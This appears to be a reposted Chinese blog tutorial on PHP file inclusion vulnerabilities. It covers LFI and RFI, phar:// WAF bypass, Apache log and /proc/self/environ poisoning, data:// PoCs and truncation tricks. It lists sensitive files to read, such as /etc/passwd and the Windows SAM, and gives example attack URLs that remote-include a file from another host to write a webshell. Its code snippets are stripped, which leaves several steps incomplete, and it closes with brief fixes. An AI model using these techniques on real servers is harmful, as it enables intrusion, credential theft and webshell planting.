php文件包含漏洞复现,文件包含漏洞(绕过姿势)
当你的才华
还撑不起的野心时
那你就应该静下心来学习
目录
文件包含漏洞介绍
特殊姿势
亲测有效
php文件包含漏洞
本地包含漏洞(LFI)
远程包含漏洞
文件包含利用
读取敏感信息
远程包含shell
本地包含配合文件上传
本地包含配合apache日志拿shell
利用/proc/self/environ进行包含
利用php协议进行包含
截断包含
文件包含漏洞修复
jsp文件包含漏洞
asp文件包含漏洞
aspx文件包含漏洞
文件包含漏洞介绍
由于开发人员编写源码,将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行。由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行。文件包含攻击中WEB服务器源码里可能存在inlcude()此类文件包含操作函数,通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因。
如果攻击者为动态包含指令指定一个有效文件,那么该文件的内容会被传递给 PHP 解析器,可直接在远程服务器上执行任意PHP文件。
如果攻击者能够指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码,也就是所谓的“远程文件包含”。
特殊姿势
利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 PHP 5.3.0 起开始有效,貌似可以绕过安全狗。
利用过程
新建shell.php代码内容:
新建test.txt里的内容:
压缩test.txt文件,可以重命名压缩文件为zip,phar,rar等格式,之后访问shell.php文件后,会出现phpinfo内容。
亲测有效
在实验环境下,在test目录下新建shell.php,test.txt,并将test.txt打包成test.zip。
shell.php内容如下:
test.txt内容如下:
访问shell.php:
php文件包含漏洞
PHP中的文件包含分为本地包含与远程包含,导致文件包含的函数如下:
include()
include_once()
require()
require_once()
fopen()
readfile()
……
本地包含漏洞(LFI)
新建一个phpinfo.txt,然后新建一个shell.php,写入:
访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写等),则通过include可以直接输出源码。
远程包含漏洞
前提:需要开启allow_url_fopen,默认关闭。
新建php.txt:
新建index.php:
访问http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。
文件包含利用
读取敏感信息
如:http://www.xxx.com/index.php?page=/etc/passwd
Windows:
c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini php配置文件
c:\windows\my.ini mysql配置文件
LINUX:
/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini PHP相关设置
/etc/httpd/conf/http.conf apache配置文件
/etc/my.cnf mysql配置文件
远程包含shell
test.txt文件,可以保存在远程服务器上,内容如下:
")?>
如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php内容为:
本地包含配合文件上传
如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传
上传一个图片木马a.jpg,内容为:
")?>
访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。
本地包含配合apache日志拿shell
apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。
利用/proc/self/environ进行包含
如:http://www.test.com/view.php?page=../../../../proc/self/environ
这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。
利用php协议进行包含
data: php5.2以后版本
php://input 需要开启allow_url_include
poc:
http://www.test.com/index.php?file=data:text/plain,%00
截断包含
有些开发者为了防止本地包含漏洞,会编写一下代码:
(一)00截断包含
新建1.jpg:
")?>
这样的话比如上传一个1.jpg图片码,则访问http://www.xxx.com/1.jpg时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/1.jpg%00
(二)使用长目录截断
././././././././././././././etc/passwd
或者
etc/passwd
或者
../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。
文件包含漏洞修复
开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。
关闭allow_url_include函数,防止远程文件包含。
jsp文件包含漏洞
include
jsp:include
说明
(1)include指令在转换时插入“Header.jsp”的源代码,而标准动作在运行时插入“Header.jsp”的响应。元素允许你包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。
(2)采用前两种方式,只能包含当前web应用的界面,不过c:import可以包含容器之外的内容。
asp文件包含漏洞
asp貌似无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:
aspx文件包含漏洞
aspx文件包含与asp一样,语法如下:
参考:https://thief.one/2017/04/10/2/
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重
php文件包含漏洞复现,文件包含漏洞(绕过姿势)相关推荐
- CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现
全部题都是struts2框架漏洞 Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架 关于struts2漏洞,vulhub都有环境并且给出了漏洞原理和poc GitHub项目地 ...
- 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复
20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...
- Jenkins cve-2016-0792 漏洞复现 Xstream 反序列化漏洞
环境搭建 首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载,在官网和百度一开始都是没找到的,包括看了其他人的分析,但是都没有找到环境搭建,大部分是直接复现和poc分析 ...
- php目录遍历漏洞复现,nginx解析漏洞,配置不当,目录遍历漏洞环境搭建、漏洞复现...
nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre ...
- 【漏洞复现】Moniker禁用绕过漏洞|ole逻辑漏洞(CVE-2017-8570)
>> 在上一篇文章中提到了由于注册表项关于 ActiveX 控件功能的设置,导致 0199 的威胁并没有想象中的广泛,然而衍生漏洞 8570 的威胁却要比 0199 大得多: 微软修复 C ...
- sqqyw(淡然点图标系统)漏洞复现和74cms漏洞复现
前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 漏洞复现专栏:https://blog.csdn.net ...
- 【漏洞复现】MS12-020漏洞(蓝屏攻击)复现
实验准备:win7(192.168.217.156),kali 实验步骤: 漏洞复现 打开windows远程桌面 方法:计算机–属性–远程设置 用kali查看win7已打开的端口,可以看到3389远程 ...
- 【漏洞复现】MS17-010漏洞(永恒之蓝)复现
永恒之蓝漏洞复现 漏洞复现 对目标靶机建立用户,并且开启靶机的远程桌面,使用该用户进行连接 实验准备:win7 (192.168.217.153).win10.kali.Xshell 实验步骤: 漏洞 ...
- 【漏洞复现】CVE-2020-0796漏洞复现(win10系统)
前言: Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品,Microsoft Windows是一套个人设备使用的操作系统 ...
最新文章
- 【jquery】用jsp写jquery的模板
- 关于使用JAVA中JDK安装和在命令行中编译和运行程序的一些总结
- Exchange管理控制台无法安装,要求重新启动
- 电影《麦田》的外景地其实是呼伦贝尔
- webstorm遇到的问题
- python时间序列数据分析,Python数据分析之时间序列
- 商品翻牌效果(纯css)
- Android开发学习之录音同步播放的实现
- 树状结构搜索功能_百度搜索算法全解析SEO课程笔记
- pandas 学习 ——Series
- 深度学习实践指南(五)—— 求解异或问题
- Scaffolding
- D3.js制作地图等值线与饼图
- bedtools查找基因组位置的信息
- 最大公约数与最小公倍数求法 C语言版
- 启发式算法 Heuristic Algorithm
- 《C语言及程序设计》实践参考——回文、素数
- 国内 WhatsApp 能用吗?WhatsApp对外贸企业的重要性?
- 自己做量化交易软件(31)小白量化实战5--板块股票池与基本面选股
- 给定一个单链表,把所有的奇数节点和偶数节点分别排在一起。请注意,这里的奇数节点和偶数节点指的是节点编号的奇偶性,而不是节点的值的奇偶性。
热门文章
- react-native记录zIndex控制页面层次出现透过去的现象
- 数据结构树(Tree)详解
- k8s docker集群搭建
- Cadence OrCAD Capture 层次化设计时双击顶层模块无法进入底层图纸问题解决方案
- iOS 11 MJ刷新异常,上拉加载出现跳动刷新问题
- 毕设分享springBoot+vue 在线课堂学习系统(含源码+论文)
- SphereEx 一周年:保持热爱,奔赴下一场『云』海
- 【阅读笔记】Reinforced Attention for Few-Shot Learning and Beyond
- 帮我写一个微积分计算程序
- sql语句模糊查询以及时间区间筛选